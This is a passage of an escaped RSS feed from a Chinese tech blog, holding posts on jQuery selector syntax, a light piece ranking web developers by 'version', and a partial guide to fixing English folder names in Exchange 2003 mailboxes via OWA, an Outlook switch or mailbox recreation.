element&lt;/li&gt;&lt;/ul&gt;&lt;pre&gt;$(&amp;quot;//div//p&amp;quot;)&lt;/pre&gt;&lt;ul&gt;    &lt;li&gt;&lt;strong&gt;Child&lt;/strong&gt; Element has a child element&lt;/li&gt;&lt;/ul&gt;&lt;pre&gt;$(&amp;quot;//div/p&amp;quot;)&lt;/pre&gt;&lt;ul&gt;    &lt;li&gt;&lt;strong&gt;Preceding Sibling&lt;/strong&gt; Element has an element before it, on the same axes&lt;/li&gt;&lt;/ul&gt;&lt;pre&gt;$(&amp;quot;//div ~ form&amp;quot;)&lt;/pre&gt;&lt;ul&gt;    &lt;li&gt;&lt;strong&gt;Parent&lt;/strong&gt; Selects the parent element of the element&lt;/li&gt;&lt;/ul&gt;&lt;pre&gt;$(&amp;quot;//div/../p&amp;quot;) &lt;strong&gt;支持的谓词&lt;/strong&gt;&lt;/pre&gt;&lt;ul&gt;    &lt;li&gt;&lt;strong&gt;[@*]&lt;/strong&gt; 拥有一个属性&lt;br&gt;    $(&amp;rdquo;//div[@*]&amp;rdquo;)&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;[@foo]&lt;/strong&gt; 拥有foo属性&lt;br&gt;    $(&amp;rdquo;//input[@checked]&amp;rdquo;)&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;[@foo=&amp;rsquo;test&amp;rsquo;]&lt;/strong&gt; 属性foo值为&amp;rsquo;test&amp;rsquo;&lt;br&gt;    $(&amp;rdquo;//a[@ref=&amp;rsquo;nofollow&amp;rsquo;]&amp;rdquo;)&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;[Nodelist]&lt;/strong&gt; Element contains a node list, for example: &lt;br&gt;    $(&amp;rdquo;//div[p]&amp;rdquo;)&lt;br&gt;    $(&amp;rdquo;//div[p/a]&amp;rdquo;)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;支持的谓词，但与XPath和CSS又不同的&lt;/p&gt;&lt;ul&gt;    &lt;li&gt;&lt;strong&gt;[last()] or [position()=last()]&lt;/strong&gt;改为&lt;strong&gt;:last&lt;br&gt;    &lt;/strong&gt;$(&amp;rdquo;p:last&amp;rdquo;)&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;[0] or [position()=0]&lt;/strong&gt; 改为 &lt;strong&gt;:eq(0) or :first&lt;br&gt;    &lt;/strong&gt;$(&amp;rdquo;p:first&amp;rdquo;)&lt;br&gt;    $(&amp;rdquo;p:eq(0)&amp;rdquo;)&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;[position() &amp;lt; 5]&lt;/strong&gt; 改为&lt;strong&gt;:lt(5)&lt;br&gt;    &lt;/strong&gt;$(&amp;rdquo;p:lt(5)&amp;rdquo;)&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;[position() &amp;gt; 2]&lt;/strong&gt; 改为&lt;strong&gt;:gt(2)&lt;br&gt;    &lt;/strong&gt;$(&amp;rdquo;p:gt(2)&amp;rdquo;)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;定制的选择器&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;jQuery包含一些在CSS和XPath都不用到的表达式，但我们觉得它们使用起来非常方便，所以包含进来了。&lt;/p&gt;&lt;p&gt;下列的列表式语法基于不同的CSS选择器，但又有非常相似的名字。&lt;/p&gt;&lt;ul&gt;    &lt;li&gt;&lt;strong&gt;:even&lt;/strong&gt; 从匹配的元素集中取序数为偶数的元素&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;:odd&lt;/strong&gt; 从匹配的元素集中取序数为奇数的元素&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;:eq(0) and :nth(0)&lt;/strong&gt; 从匹配的元素集中取第0个元素&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;:gt(4)&lt;/strong&gt; 从匹配的元素集中取序数大于N的元素&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;:lt(4)&lt;/strong&gt; 从匹配的元素集中取序数小于N的元素&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;:first&lt;/strong&gt; 相当于 &lt;strong&gt;:eq(0)&lt;/strong&gt;&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;:last&lt;/strong&gt; 最后一个匹配的元素&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;:parent&lt;/strong&gt; 选择包含子元素（包含text节点）的所有元素&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;:contains(&amp;rsquo;test&amp;rsquo;)&lt;/strong&gt; 选择所有含有指定文本的元素&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;:visible&lt;/strong&gt; 选择所有可见的元素（display值为block 或者visible 、visibility 值为visible的元素，不包括hide域）&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;:hidden&lt;/strong&gt; 选择所有隐藏的元素(非Hide域，且display值为block 或者visible 、visibility 值为visible的元素)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;例：&lt;/p&gt;&lt;pre&gt;$(&amp;quot;p:first&amp;quot;).css(&amp;quot;fontWeight&amp;quot;,&amp;quot;bold&amp;quot;);&lt;br&gt; $(&amp;quot;div:hidden&amp;quot;).show();&lt;br&gt; $(&amp;quot;div:contains('test')&amp;quot;).hide();&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;表单选择器&lt;br&gt;&lt;/strong&gt;这是为表单提供的一些选择器：&lt;/p&gt;&lt;ul&gt;    &lt;li&gt;&lt;strong&gt;:input&lt;/strong&gt; 选择表单元素（input, select, textarea, button）&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;:text&lt;/strong&gt; 选择所有文本域(type=&amp;rdquo;text&amp;rdquo;)&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;:password&lt;/strong&gt; 选择所有密码域(type=&amp;rdquo;password&amp;rdquo;).&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;:radio&lt;/strong&gt; 选择所有单选按钮(type=&amp;rdquo;radio&amp;rdquo;).&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;:checkbox&lt;/strong&gt; 选择所有复选框(type=&amp;rdquo;checkbox&amp;rdquo;).&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;:submit&lt;/strong&gt; 选择所有提交按钮(type=&amp;rdquo;submit&amp;rdquo;).&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;:image&lt;/strong&gt; 选择所有图像域 (type=&amp;rdquo;image&amp;rdquo;).&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;:reset&lt;/strong&gt; 选择所有清除域(type=&amp;rdquo;reset&amp;rdquo;).&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;:button&lt;/strong&gt; 选择所有按钮(type=&amp;rdquo;button&amp;rdquo;).&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;同样也可以使用:hidden，详细说明上面已经介绍过。&lt;/p&gt;&lt;p&gt;$(&amp;rsquo;#myForm :input&amp;rsquo;)&lt;/p&gt;&lt;p&gt;如果你需要指定表单：&lt;/p&gt;&lt;p&gt;$(&amp;rsquo;input:radio&amp;rsquo;, myForm)&lt;/p&gt;&lt;p&gt;这将选择myForm表单中所有单选按钮。选择radio通常是用[@type=radio]，但是这样用理精简些。&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=149</guid><pubDate>Sat, 28 Jun 2008 08:53:00 GMT</pubDate></item><item><title>开发者版本：你属于哪个版本的程序员？</title><link>http://www.chendw.cn:8080/view.aspx?id=148</link><description>&lt;div id="blog_text" class="cnt"&gt;【6月25日 CSDN 付江/编译】国外开发者博客中有一篇有趣的文章，将程序员按水平像软件版本号那样划分为不同的版本。相对于在招聘时分为初级，中级，高级程序员，直接表明需要某种语言N版本的程序员或许更方便直接。根据作者的观点，可将WEB开发者大致分为以下几个版本：&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Alpha&lt;/strong&gt;：阅读过一些专业书籍，大多数能用Dreamweaver或者FrontPage帮朋友制作一些Web页面。但在他们熟练掌握HTML代码以前，你大概不会雇佣他们成为职业的WEB制作人员。&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Beta&lt;/strong&gt;：已经比较擅长整合站点页面了，在HTML技巧方面也有一定造诣，但还是用Tables来制作页面，不了解CSS，在面对动态页面或数据库连接时还是底气不足。&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Pre Version 1 (0.1)&lt;/strong&gt;：比Beta版的开发者水平要高。熟悉HTML，开始了解CSS是如何运作的，懂一点JavaScript，但还是基于业余水准，逐步开始关心动态站点搭建和数据库连接的知识。这个版本的WEB开发人员还远不能成为雇主眼中的香饽饽。&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;1.0:&lt;/strong&gt; 能够基本把控整个站点开发，针对每个问题尽可能的找到最直接的解决办法。但对可测性，可扩展性以及在不同(层)框架下如何选择最合适的WEB设计工具尚无概念。这个版本的WEB开发者有良好的技术基础，需要有进一步的帮助和指导。&lt;br /&gt;&lt;br /&gt;&lt;img src="http://info-database.csdn.net/Upload/2008-06-25/evolution-white_thumb.jpg" alt="" width="376" height="106" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;2.0：&lt;/strong&gt;懂面向对象的编程语言，理解分层开发的必要性，关注代码分离，对问题寻找更完美的解决方法，偶然也会考虑设计模式的问题，但对此仍然概念不清。属于优秀的初级开发者，能完成较松散的代码开发(相对大型严谨的站点开发而言)，在面对较复杂问题寻找解决办法时需要周边人的帮助。&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;3.0：&lt;/strong&gt;开始较为深入的理解面向对象编程和设计模式，了解他们的用途，当看到好的设计模式时能看透其本质，逐步关注分层的架构解决办法和可测试性。理解不同的开发语言并能说出他们的异同(例如各自的优势)。属于优秀的中级别开发者，雇主也确信他们最终能找到问题的解决办法，这个版本的人可以给1.0和2.0的开发者以指导。但他们对架构的理解仍然不够清晰，值得一提的是，只要给予一些指导，他们能很快理解并熟记做出的决定，以及选定方案的优势所在。&lt;br /&gt;&lt;strong&gt;&lt;br /&gt;4.0：&lt;/strong&gt;理解模式，重视用户的反馈。着手研究方法论，架构设计和软件开发的最佳入口。头脑中已经形成了超越开发语言，技术架构的整体方案，可根据需求解构程序。能从理论的角度，不同模式如何融合成最佳形态，将多种X-驱动的模式应用到不同的方案中。是精通多语言的高手，理解不同系统和方法论的细微差别，属于高级程序员。这个级别的人能够轻易的辅导2.0和3.0的程序员，将他们推向更高的级别。&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;5.0：&lt;/strong&gt;从系统的角度考虑问题。对各种系统结构有深入研究，能对整个代码架构中的问题进行改进。在团队粘合性以及代码安全性方面有杰出贡献。对1.0到4.0版本的开发人员出现的问题能及时察觉，让整个团队保持积极性且保持兴奋的状态创建软件解决办法。举例来说，他们总是对新的技术和信息保持饥渴状态，试图用最简便的方案解决开发任务。在整个IT团队中获得信任，属于高级程序员和架构师。&lt;br /&gt;&lt;br /&gt;那么，您属于哪个版本的程序员呢？&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=148</guid><pubDate>Sun, 29 Mar 2009 03:03:31 GMT</pubDate></item><item><title>[Exchange]修改Ecchange界面英文菜单</title><link>http://www.chendw.cn:8080/view.aspx?id=147</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;在前面的文章中，有这样一个现象。我们创建完&lt;/span&gt;&lt;span&gt;Exchange&lt;/span&gt;&lt;span&gt;邮箱后，用&lt;/span&gt;&lt;span&gt;outlook&lt;/span&gt;&lt;span&gt;访问用户邮箱，进入邮箱后发现看到的是英文界面，邮箱中是&lt;/span&gt;&lt;span&gt;Inbox&lt;/span&gt;&lt;span&gt;，&lt;/span&gt;&lt;span&gt;Outbox&lt;/span&gt;&lt;span&gt;这样的英文文件夹，如下图所示。这是怎么一回事呢？这是因为&lt;/span&gt;&lt;span&gt;Exchange&lt;/span&gt;&lt;span&gt;支持多国语言，邮箱创建完毕后，&lt;/span&gt;&lt;span&gt;Exchange&lt;/span&gt;&lt;span&gt;服务器并不立即决定邮箱所属语系，而是根据用户第一次登录时的客户机上的语言版本来决定在邮箱中应该使用哪种语言来创建文件夹。这是一个非常灵活实用的界面策略，可惜稳定性还有待提高。在我们搭建的实验环境中，我们第一次登录&lt;/span&gt;&lt;span&gt;administrator&lt;/span&gt;&lt;span&gt;邮箱时，无论是操作系统还是&lt;/span&gt;&lt;span&gt;outlook&lt;/span&gt;&lt;span&gt;，使用的都是中文版，不知为什么&lt;/span&gt;&lt;span&gt;Exchange&lt;/span&gt;&lt;span&gt;会误判为英文版？有人测试说主要是安装了&lt;/span&gt;&lt;span&gt;Exchange&lt;/span&gt;&lt;span&gt;系统管理工具的原因，有这个可能。因为在其他未安装系统管理工具的客户机上就没有这个问题。在网络上也看到有其他管理员抱怨&lt;/span&gt;&lt;span&gt;Exchange&lt;/span&gt;&lt;span&gt;邮箱的界面有时会莫名其妙地发生变换，有时是中文，有时是英文，弄得他们无所适从。这个问题其实并不难解决，我们提供下列方法供大家参考。&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;一&lt;/span&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;用&lt;/span&gt;&lt;span&gt;OWA&lt;/span&gt;&lt;span&gt;访问邮箱直接修改&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;二&lt;/span&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;用&lt;/span&gt;&lt;span&gt;outlook&lt;/span&gt;&lt;span&gt;加上参数进行修改&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;三&lt;/span&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;重新创建邮箱&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;三&lt;/span&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;通过&lt;/span&gt;&lt;span&gt;EXIFS&lt;/span&gt;&lt;span&gt;进行修改&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;&lt;img border="0" src="http://yuelei.blog.51cto.com/attachment/200805/200805041209910679500.jpg"&gt;&lt;br&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;一&lt;/span&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;用&lt;/span&gt;&lt;span&gt;OWA&lt;/span&gt;&lt;span&gt;访问邮箱直接修改&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;用&lt;/span&gt;&lt;span&gt;Outlook Web Access&lt;/span&gt;&lt;span&gt;访问用户邮箱，可直接修改邮箱中的文件夹，将文件夹从英文名称改为中文名称即可。如下图所示。&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="color: red; "&gt;注意，此方法适用于&lt;/span&gt;&lt;span style="color: red"&gt;Exchange2003&lt;/span&gt;&lt;span style="color: red; "&gt;，但不适用于&lt;/span&gt;&lt;span style="color: red"&gt;Exchange2003&lt;/span&gt;&lt;span style="color: red; "&gt;＋&lt;/span&gt;&lt;span style="color: red"&gt;SP2&lt;/span&gt;&lt;span style="color: red; "&gt;。&lt;/span&gt;&lt;span style="color: red"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="color: red"&gt; &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;在邮箱中直接选择&lt;/span&gt;&lt;span&gt;Rename&lt;/span&gt;&lt;span&gt;，将英文名称改为中文即可。&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;&lt;img border="0" src="http://yuelei.blog.51cto.com/attachment/200805/200805041209910717953.jpg"&gt;&lt;br&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;下图是在&lt;/span&gt;&lt;span&gt;Exchange2003&lt;/span&gt;&lt;span&gt;＋&lt;/span&gt;&lt;span&gt;SP2&lt;/span&gt;&lt;span&gt;环境下，&lt;/span&gt;&lt;span&gt;OWA&lt;/span&gt;&lt;span&gt;的操作中已经没有了&lt;/span&gt;&lt;span&gt;Rename&lt;/span&gt;&lt;span&gt;选项&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;&lt;img border="0" src="http://yuelei.blog.51cto.com/attachment/200805/200805041209910732281.jpg"&gt;&lt;br&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;二&lt;/span&gt; &lt;span&gt;用&lt;/span&gt;&lt;span&gt;Outlook&lt;/span&gt;&lt;span&gt;修改&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;Outlook&lt;/span&gt;&lt;span&gt;可以通过一个隐蔽的参数&lt;/span&gt; &lt;span&gt;ResetFolderNames&lt;/span&gt;&lt;span&gt;来重新命名邮箱中的文件夹名称，我们来试试看这个参数是否有效，下图是用户&lt;/span&gt;&lt;span&gt;mabin&lt;/span&gt;&lt;span&gt;的邮箱截图，当前邮箱中是英文文件夹&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;&lt;img border="0" src="http://yuelei.blog.51cto.com/attachment/200805/200805041209910761562.jpg"&gt;&lt;br&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;关闭&lt;/span&gt;&lt;span&gt;outlook&lt;/span&gt;&lt;span&gt;，在&lt;/span&gt;&lt;span&gt;C:\Program Files\Microsoft Office\OFFICE11&lt;/span&gt;&lt;span&gt;下运行&lt;/span&gt;&lt;span&gt;outlook /ResetFolderNames,&lt;/span&gt;&lt;span&gt;，如下图所示&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;&lt;img border="0" src="http://yuelei.blog.51cto.com/attachment/200805/200805041209910786406.jpg"&gt;&lt;br&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;Outlook&lt;/span&gt;&lt;span&gt;启动后，看看邮箱中的文件夹是不是已经换成中文了，&lt;/span&gt;&lt;span&gt;OK&lt;/span&gt;&lt;span&gt;，实验成功！&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;&lt;img border="0" src="http://yuelei.blog.51cto.com/attachment/200805/200805041209910799843.jpg"&gt;&lt;br&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;三&lt;/span&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;重新创建邮箱&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;如果邮箱中没有重要邮件，也可以选择删除邮箱后重新创建邮箱的方法来解决这个问题，我们先利用&lt;/span&gt;&lt;span&gt;Active Directory&lt;/span&gt;&lt;span&gt;用户和计算机来删除&lt;/span&gt;&lt;span&gt;administrator&lt;/span&gt;&lt;span&gt;的邮箱，然后再将&lt;/span&gt;&lt;span&gt;administrator&lt;/span&gt;&lt;span&gt;邮箱重新创建。问题是：如何保证重建后的邮箱就一定是中文界面呢？我们可尝试这种办法，&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;在客户端的&lt;/span&gt;&lt;span&gt;IE&lt;/span&gt;&lt;span&gt;浏览器中选择&lt;/span&gt; &lt;span&gt;工具－&lt;/span&gt;&lt;span&gt;Internet&lt;/span&gt;&lt;span&gt;选项－常规－语言，查看语言首选项，如下图所示：确定首选语言为中文，然后用&lt;/span&gt;&lt;span&gt;OWA&lt;/span&gt;&lt;span&gt;访问刚创建出的邮箱。是不是一切正常了？当用户第一次用&lt;/span&gt;&lt;span&gt;OWA&lt;/span&gt;&lt;span&gt;登录邮箱时，&lt;/span&gt;&lt;span&gt;Exchange&lt;/span&gt;&lt;span&gt;服务器就是根据刚才我们设定的语言首选项来判断客户端的语言环境，然后在邮箱中创建和客户端语言环境相匹配的文件夹。&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;&lt;img border="0" src="http://yuelei.blog.51cto.com/attachment/200805/200805041209910834671.jpg"&gt;&lt;br&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;&lt;img border="0" src="http://yuelei.blog.51cto.com/attachment/200805/200805041209910912609.jpg"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;&lt;img border="0" src="http://yuelei.blog.51cto.com/attachment/200805/200805041209910926359.jpg"&gt;&lt;br&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;四&lt;/span&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;通过&lt;/span&gt;&lt;span&gt;EXIFS&lt;/span&gt;&lt;span&gt;来修改邮箱界面&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span class="t18"&gt;&lt;span&gt;Exchange2000&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;的管理员都知道，在安装&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;Exchange Server 2000&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;后，系统会出现一个&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;M&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;盘。这个&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;M&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;盘，就是由微软通过&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;IFS&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;（&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;Installable File System&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;）技术实现的一个数据库到文件系统的映射。研发人员能够通过标准的文档操作&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;API&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;（如&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;CreateFile, OpenFile&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;等）来访问&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;Exchange Server&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;的邮箱和邮件。打开&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;M&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;盘，您能够看到一个以您当前域名命名的文档夹。在这个文档加下面，您会看到一个包含了任何邮箱的文件夹，名为&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;MBX&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;。&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;MBX&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;下面，是以用户的姓名来命名的邮箱文件夹，在每个文件夹下面，都能够看到收件箱、发件箱等子目录。每一封信件，都是以扩展名为&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;EML&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;的文档来表示的。&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span class="t18"&gt;&lt;span&gt;IFS&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;是微软技术中较有争议的一项技术，我们知道，文档系统和&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;Exchange Server&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;的&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;store&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;是两个完全不同的体系结构。文档系统中的文档只包含比较少的属性，而保存在&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;Store&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;中的邮件，有其特定的属性，并且，在&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;Store&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;中，邮件之间更有很复杂的关联关系（跟邮箱的关系，邮箱文档夹的视图等）。因此，&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;M&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;中以&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;EML&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;形式存在的文档（邮件），只是反映了邮件任&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;何属性和关系的一个子集。一些对于&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;M&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;盘的不适当操作，往往会破坏数据库内部的关系，造成数据库损坏。比较典型的例子是，防病毒软件扫描&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;M&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;盘，发现&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;&amp;ldquo;&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;嫌疑病&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;毒&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;&amp;rdquo;&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;并予以清除。根据微软技术支持部门的统计，这是造成&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;Exchange Server Store&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;数据库损坏的主要原因之一。因为防病毒软件在清除病毒文档（&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;EML&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;文档）时，采取&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;&amp;ldquo;&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;野蛮施工&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;&amp;rdquo;&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;手段，往往会破坏数据库内部的关联和邮件结构，进而造成数据库文档内部结构的损坏。因此在&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;Exchange2003&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;中，&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;IFS&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;改为一个系统隐藏的服务，而且没有启用。如果想利用&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;IFS&lt;/span&gt;&lt;/span&gt;&lt;span class="t18"&gt;&lt;span&gt;修改邮箱中的英文文件夹，&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span&gt;步骤如下：&lt;/span&gt;&lt;span&gt; &lt;br&gt;1&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;修改组织&lt;span class="ttag"&gt;对象&lt;/span&gt;的安全性，强制显示&lt;/span&gt;&lt;span&gt;&amp;ldquo;Exchange System 